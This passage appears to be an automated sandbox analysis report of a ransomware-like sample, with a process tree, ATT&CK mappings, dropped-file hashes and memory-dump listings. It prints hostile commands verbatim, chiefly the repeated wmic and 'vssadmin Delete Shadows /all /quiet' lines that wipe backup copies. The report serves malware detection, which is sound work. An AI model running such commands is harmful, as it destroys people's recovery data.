    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:208

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2132

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1504

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1704

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1764
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:1228
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:592

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

Filesize
914B

MD5
e4a68ac854ac5242460afd72481b2a44

SHA1
df3c24f9bfd666761b268073fe06d1cc8d4f82a4

SHA256
cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

SHA512
5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC

Filesize
252B

MD5
8a9cd77f5e64504b9730e03aea1e82ba

SHA1
335b1b6805ae12b3f8bad59d5a9d73513751cecb

SHA256
a7690d49aa040f32c585991f04bb9b53a158d5e01843409813fee2f4b84cc9f9

SHA512
be8adf2ea13e7117de685c04c304611735028d1d6a09ffe6253da2a7bb8b276e36a570479adca0a19efc7ea2603b8a1137361ece6bebc266791b5ce1a6765f6a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
b2227949da00bb4c36ad2c45a742f5ae

SHA1
87eb118b04492ed66d2130db1218107f11734aba

SHA256
a9c87aea296e9034c278a7d3a5b28c8e8aa4790e32449dd208d990c960dfcb03

SHA512
6390c131ae50c192b9108d8c6f4bbf272a2dd756cfc88d04334eacdfa9f3d7492ef08905d4d37ee9496352c9558c2778ddaf1abe5af328c906ef1e84f28de16f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
38261604394c1f95fe26dcdac1a585ed

SHA1
e50d32cae1d88a5041c261737a48ff831b5ed384

SHA256
321aca8c57260e3e478d6b92e71a33ee2ea0d1dca42248a267942f0f6f7884be

SHA512
61d6e98daadeb464c653480e475554390208b01d08a0b680dabe02209c883d9c797bbf29088d5f1c04d58a8dc9c685c0a69e972ece15f52611d5643c878b16d5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
b5e567c310d0cc282b81676fee1d50f5

SHA1
0f1e6aa61c8864a976765d67ea591c5e99d4d446

SHA256
2ff4b6449667ef92a24fadb48b698b825a3bf830a51563d5d5454f7937aeb559

SHA512
804283178171b85c410cb2b1830025be45766457ad5cc3acb6166a2e8b4382067b96411376e4b4cdcfcc8a02f12cad6f6b84785686eb2db87b10b1c462110cbc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
3ff399e503a97945d0c1a55f241c0624

SHA1
db3ff562140b16d2bdfc2c7d0df85294e0d6c930

SHA256
339fca19af15a64595ab2f177dc5034446c3ab50c462a4857b738a9572c444ac

SHA512
c1c49fdc4eaa1634ec4c68ee3c65a2ae34fb9fcb3dd46f82d1c794ed39dd35bb90011666acb17c37fb71e923bcdd4c8b0a050192b920d313136f110d5ea122f9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
cf009a8a1e1253f29520d1174d8be96a

SHA1
a4430b513b81794fcb0a5b6408da1b4b770a2a41

SHA256
39f672013beb2d583a2cf381b9177f3ea1ac8e790c132f87673927c3ee091ecd

SHA512
2784a4dc17474aec4cab9d4313730048ba9f7e70fb8928910f4afdabc972cc0b66f1d1dcdd11bd90a14dbacce5339387748a341ad7d9d0dc3d98e6f00757f2ae

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
5008658f403998067d15a47d0af68120

SHA1
c6720ecf10404484670ab518e4749561415e6c1a

SHA256
d0fc77b3138d40129816e7729932f4cf0f34b59ef3f4e751291c0089354d5f09

SHA512
965c237a39e1f919cad414ff1196b24590845b2210d2759d78d623cac0f0b0f1d4b5dcd4c1de6f739ea7b4b5ed92be02fa82702b2fd02f008f5c2df0a87d9b7b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
1966c7f743b001cec905a74a452cf62a

SHA1
dffa47f09b7a47fd272a1697402d7f06b6e5bdac

SHA256
49feb4bf56c20da62b8fccf896972c5ad4c37fe788f30ee7e5047ed063891ba6

SHA512
51897e55c5c27759206013b095056e82c7d0a230d23fcef00d29021391e6e8dd8c7a3a837feaf3ac9f30a3af6487927d204e205f212a904a6367a41fc0bbf36c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f1b0311f1a9021923fd35790eedaf3ab

SHA1
8b073d1f7da12223a12af8517245ac9518786d0e

SHA256
c664c8163e27ce084faa1a4bf660a5fd903ed375463a8bf8fc56b34f1631f220

SHA512
ba22882b675282b103ffa65d652069955bfb8daad05d8325c681f96b1d1ac8443ac42662653ccc3a1921ddb7a65f98e26172016239f199b0f2538b9a27667c7b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
d1e9af6d6bba131aa1df6df8a4ac7020

SHA1
f4ff2c9f4feeddb15a078695e7e11021f5191d42

SHA256
da75f55896e06a226d5a619f7a4445980cf813be30f6192fea855cce96e9d84f

SHA512
aac1480def71c4cd9074ae9a5fec100b9231809d8a03347c2bb1806e9bf0e0ea95aecf3950a0268806f7e071612fa41c10afc5c979a65026fafe627b0ae88d75

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
4d9aaa4cdf6f4f0aca96cb3a830f6f30

SHA1
9da834c0d2ad49d0a800666aa4eaa4e1891117ce

SHA256
14ae840e7975fcf1e726d2269f6bfbb4a81a6bb1e58a4a498635fcede4490d53

SHA512
287e47166aee18d486adda2f2c97ceadde0d6e2f9d5a8947e10012e8334adbca013232cf750e1b28129f96ddcc1c48a0dd36602b8e9b5da7617530fc56814860

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
8b0a5bbf545436bddf472b200715c25f

SHA1
9f00e5a9f4c07420014c78a964945055ac654d62

SHA256
0d03366cba4c08aa86969dfe01b1a75af9f859d8012135d091865464fc095926

SHA512
893566c2cce441450dadb0cc6e4f3b906903ac402df9a44216a7d201256468fee47bb15d57871fc12a822de43fca8438492c5076670c00ee2180f620f797544c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
430ed67d925606ed1dd5363ad57061d0

SHA1
ba6a6817804cf6e795ffda642c29f568a8e59a4f

SHA256
dab8f9006250272f4c412c63001dc4b5b04a4d44032e174444be755f635912af

SHA512
e6c3eb123cdcd3338f34ddbaf03bb8f4d8e21d651f5f42349c2c1691ce19bf75cdd4c8ef9ad2733852ff3cc2d37771b9e6bb58b84bd9cfad46c4ad867862e2b6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
b70a50efa509250ae4761b4db8847085

SHA1
c7eedb9a653b16fbb23ba25c52d81b383d30fc4e

SHA256
accbaeac7092ca1b0820530902070064f00cf049ccb762af0052570c278a8d1f

SHA512
5a49d1eb2e3d9db756567be091ed9b3c2b419caf9cedb40f18d152c737176e9df957be49931acaa7692e7b85f2c3b38734781c6844e8ed9be5d7ce516defc423

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
fa5e3bfd065a27606f911841cbf2f7ce

SHA1
320d715a2735242edec1d9cbcf8a7330bc22b2e1

SHA256
ae292e598d289c68e5c805de5827c81a923b04046c0ed7f567685ebd94674a13

SHA512
24dbd32651642f0c21a6764ac0cc62f08a593ce49021a87e1c556132d791570d0c2442b263e792e0c94282d86208d992ccd60140ce1da1ebda2fca513a676e77

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

Filesize
4KB

MD5
da597791be3b6e732f0bc8b20e38ee62

SHA1
1125c45d285c360542027d7554a5c442288974de

SHA256
5b2c34b3c4e8dd898b664dba6c3786e2ff9869eff55d673aa48361f11325ed07

SHA512
d8dc8358727590a1ed74dc70356aedc0499552c2dc0cd4f7a01853dd85ceb3aead5fbdc7c75d7da36db6af2448ce5abdff64cebdca3533ecad953c061a9b338e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar16A2.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
917d7fb5b6dd0522975195281773b963

SHA1
f39e52d8ac5915bfc87d43f4931a3db0352b028e

SHA256
80f0e854ae73e88237186a0830693d1d8e3e82e99c81653d4b1be9a4af5c001b

SHA512
dab8ed30a3917f47520038fd438600b94277f8a1575e31ff69afbdee730e98ebcf9c6d74f22e1fb3cdefcfce87b5864b5dc78540416f6aa98b3045e586e29e18

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1268-128-0x0000000000450000-0x0000000000454000-memory.dmp

Filesize
16KB

Download
memory/1268-7-0x0000000000450000-0x0000000000454000-memory.dmp

Filesize
16KB

Download
memory/1848-123-0x00000000022D0000-0x00000000022D1000-memory.dmp

Filesize
4KB

Download
memory/1848-8-0x0000000002260000-0x0000000002261000-memory.dmp

Filesize
4KB

Download
memory/1848-928-0x0000000002590000-0x0000000002591000-memory.dmp

Filesize
4KB

Download
memory/1848-929-0x00000000025B0000-0x00000000025B1000-memory.dmp

Filesize
4KB

Download
memory/1848-81-0x00000000022B0000-0x00000000022B1000-memory.dmp

Filesize
4KB

Download
memory/1848-28-0x0000000002270000-0x0000000002271000-memory.dmp

Filesize
4KB

Download
memory/1848-6-0x0000000002250000-0x0000000002251000-memory.dmp

Filesize
4KB

Download
memory/1848-59-0x00000000022A0000-0x00000000022A1000-memory.dmp

Filesize
4KB

Download
memory/1848-101-0x00000000022C0000-0x00000000022C1000-memory.dmp

Filesize
4KB

Download
memory/1848-0-0x0000000001DD0000-0x000000000210A000-memory.dmp

Filesize
3.2MB

Download
memory/1848-1-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/1848-2-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/1848-3-0x0000000002220000-0x0000000002221000-memory.dmp

Filesize
4KB

Download
memory/1848-4-0x0000000002230000-0x0000000002231000-memory.dmp

Filesize
4KB

Download
memory/1848-5-0x0000000002240000-0x0000000002241000-memory.dmp

Filesize
4KB

Download
memory/1848-1523-0x00000000025B0000-0x00000000025B1000-memory.dmp

Filesize
4KB

Download